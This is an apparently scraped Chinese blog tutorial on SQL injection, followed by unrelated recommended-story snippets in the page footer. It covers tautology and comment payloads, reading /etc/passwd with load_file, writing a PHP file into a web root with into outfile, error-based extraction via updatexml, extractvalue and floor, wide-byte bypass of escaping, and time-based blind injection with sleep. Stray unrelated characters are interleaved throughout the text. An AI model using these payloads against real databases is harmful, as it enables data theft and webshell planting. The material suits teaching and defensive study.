淺談sql注入

先看一個sql語句:

select * from admin where username='(此處為用戶輸入的數(shù)據(jù))';

在沒有任何過濾的情況下却桶,如果用戶輸入:' or 1=1 --

這條語句就為:select * from admin where username='' or 1=1 --';

可見辱魁,語句執(zhí)行永遠為真。此時就進行了sql注入战秋。

SQL注入有如下分類:

一熬尺、數(shù)字型注入

初始參數(shù)為:id=1

可以構(gòu)造:id=1 or 1=1 (語句執(zhí)行永遠為真)

id=1 and 1=2 (語句執(zhí)行永遠為假)

id=1' (語句執(zhí)行會出錯)

數(shù)字型注入較為簡單轻猖,而且一般在PHP鲜结,ASP等弱類型語言中存在瘸爽,而對于Java您访,C#等強類型語言一般不存在。

二剪决、字符型注入

字符型注入首先想到的是閉合單引號灵汪。

不難想到:id=1' and 1=2 --

-- 是注釋后邊的語句。

三柑潦、其他注入

sql注入其實可以說就是字符型注入和數(shù)字型注入享言。

還有一些常見的注入,如:

POST注入:注入字段在POST數(shù)據(jù)中渗鬼。

Cookie注入:注入字段在Cookie字段中览露。

延時注入:使用數(shù)據(jù)庫延時特性注入。

base64注入:注入字符串需要經(jīng)過base64加密譬胎。

四差牛、Mysql特性

mysql是一種數(shù)據(jù)庫。

(1)三種注釋:

#:注釋從“#”字符到行尾堰乔。

--:注釋“-- ”序列到行尾偏化。注意:“-- ”后面要加一個空格。

/**/:注釋/*? XXXX */中間的字符镐侯。

/**/注釋存在一個特點:select id /*!55555,username*/ from users

語句正常執(zhí)行侦讨。/*!55555,username*/的意思是若Mysql版本號高于或者等于5.55.55,語句將會被執(zhí)行析孽。如果“搭伤!”后面不加入版本號,將直接執(zhí)行sql語句袜瞬。

(2)mysql函數(shù)利用

load_file()函數(shù)讀文件

讀取文件怜俐,文件必須在服務(wù)器上,文件必須為絕對路徑邓尤,必須有權(quán)限拍鲤,文件容量小于? ? ? ? ?max_allowed_packet字節(jié)(默認為16MB,最大為1GB),如:

union select 1,load_file('/etc/passwd'),3,4,5,6 #

繞過單引號:union select 1,load_file(字符串轉(zhuǎn)換為十六進制),3,4,5,6 #

union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 #? ?ascii碼

into outfile寫文件操作

必須持有權(quán)限汞扎,文件名為絕對路徑季稳。

如:select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'

繞過單引號:select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'

concat 連接字符串

concat(user(),0x2c,database())

concat_ws(0x2c,user(),database())? ? ? ?0x2c是 逗號的16進制。

五澈魄、Mysql報錯注入

(1)updatexml

select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

結(jié)果返回一個錯誤:'|5.1.50-community-log'

(2)extractvalue

select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));

結(jié)果返回一個錯誤:'|root@localhost'

(3)floor

select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b

結(jié)果返回:Duplicate entry '1root@localhost' for key 'group_key'

六景鼠、寬字節(jié)注入

如果PHP開啟了魔術(shù)引號,就會將單引號,雙引號铛漓,反斜杠和NULL字符加上反斜杠轉(zhuǎn)義溯香。

如:id='? ?會輸出? ? \'

這時我們可以使用寬字節(jié)注入:id=%d5'? ? ?輸出:誠'? ?注入成功。

我們將? 誠 進行url編碼:%d5%5c

而 \的url編碼為:%5c? ?可見 浓恶,繁體字將反斜杠吃掉了玫坛。這就是寬字節(jié)注入的原理。

七包晰、長字符截斷

原理很簡單湿镀。

比如在數(shù)據(jù)庫創(chuàng)建三個如下用戶:

admin? ?(有三個空格)

admin? ? ?(有五個空格)

admin? ? ? ?(有七個空格)

三個用戶名長度不一樣,但是如果 查詢admin用戶名伐憾,三個用戶名都會被查詢到勉痴。

假設(shè)后臺語句是:

select count(*) from users where username='admin' and password='******';

這是存在安全問題的,如果用戶創(chuàng)建一個“admin? ? ? ? ? ”用戶树肃,即可輕易進入后臺蚀腿,著名的wordpress就被這樣的方式攻擊過。

八扫外、延時注入

基于時間差異的盲注手段。延時注入需要用到sleep()函數(shù)廓脆。

如:select * from users where id = 1 and sleep(3)? ? #三秒后執(zhí)行sql語句筛谚。

也可以判斷是否存在注入:url+id=1 and sleep(3)? 頁面三秒左右打開,則存在注入停忿。

通常 會采用和 if 函數(shù) 搭配使用驾讲,進行爆破字符串。

如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)

L的位置代表字符串的第幾個字符席赂,N代表ASCII碼吮铭。

執(zhí)行成功,則三秒左右返回頁面颅停,否則谓晌,和原來相同。




ps:堅持癞揉,努力纸肉,為夢想奮斗。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末喊熟,一起剝皮案震驚了整個濱河市柏肪,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌芥牌,老刑警劉巖烦味,帶你破解...
    沈念sama閱讀 206,311評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異壁拉,居然都是意外死亡谬俄,警方通過查閱死者的電腦和手機柏靶,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評論 2 382
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來凤瘦,“玉大人宿礁,你說我怎么就攤上這事∈呓妫” “怎么了梆靖?”我有些...
    開封第一講書人閱讀 152,671評論 0 342
  • 文/不壞的土叔 我叫張陵,是天一觀的道長笔诵。 經(jīng)常有香客問我返吻,道長,這世上最難降的妖魔是什么乎婿? 我笑而不...
    開封第一講書人閱讀 55,252評論 1 279
  • 正文 為了忘掉前任测僵,我火速辦了婚禮,結(jié)果婚禮上谢翎,老公的妹妹穿的比我還像新娘捍靠。我一直安慰自己,他們只是感情好森逮,可當我...
    茶點故事閱讀 64,253評論 5 371
  • 文/花漫 我一把揭開白布榨婆。 她就那樣靜靜地躺著,像睡著了一般褒侧。 火紅的嫁衣襯著肌膚如雪良风。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,031評論 1 285
  • 那天闷供,我揣著相機與錄音烟央,去河邊找鬼。 笑死歪脏,一個胖子當著我的面吹牛疑俭,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播婿失,決...
    沈念sama閱讀 38,340評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼怠硼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了移怯?” 一聲冷哼從身側(cè)響起香璃,我...
    開封第一講書人閱讀 36,973評論 0 259
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎舟误,沒想到半個月后葡秒,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,466評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,937評論 2 323
  • 正文 我和宋清朗相戀三年眯牧,在試婚紗的時候發(fā)現(xiàn)自己被綠了蹋岩。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,039評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡学少,死狀恐怖剪个,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情版确,我是刑警寧澤扣囊,帶...
    沈念sama閱讀 33,701評論 4 323
  • 正文 年R本政府宣布,位于F島的核電站绒疗,受9級特大地震影響侵歇,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜吓蘑,卻給世界環(huán)境...
    茶點故事閱讀 39,254評論 3 307
  • 文/蒙蒙 一惕虑、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧磨镶,春花似錦溃蔫、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至沸移,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間侄榴,已是汗流浹背雹锣。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留癞蚕,地道東北人蕊爵。 一個月前我還...
    沈念sama閱讀 45,497評論 2 354
  • 正文 我出身青樓,卻偏偏與公主長得像桦山,于是被迫代替她去往敵國和親攒射。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 42,786評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 白晝使我驚咧最,黑夜使我怕; 夏天糾纏我,寒冬追逼我矢沿。 一只野獸在雪上 放下了爪子滥搭;在沙上、污泥里 它的爪子來自比我腳...
    東豐林波閱讀 321評論 0 0
  • 在村莊捣鲸,所有的大事情都發(fā)生在秋天 譬如迎娶瑟匆,譬如出殯 譬如從樹上摘下一堆果子 然后裝成框子,運往他鄉(xiāng) 至于那個游子...
    甘肅子溪閱讀 291評論 2 5
  • 很多不可思議的事情總是發(fā)生在那么一瞬間,稍縱即逝媒役,然而卻能在你的記憶中永存祝谚。你能想到嗎,親愛的朋友酣衷,在我們互相轉(zhuǎn)身...
    何事秋風閱讀 138評論 0 1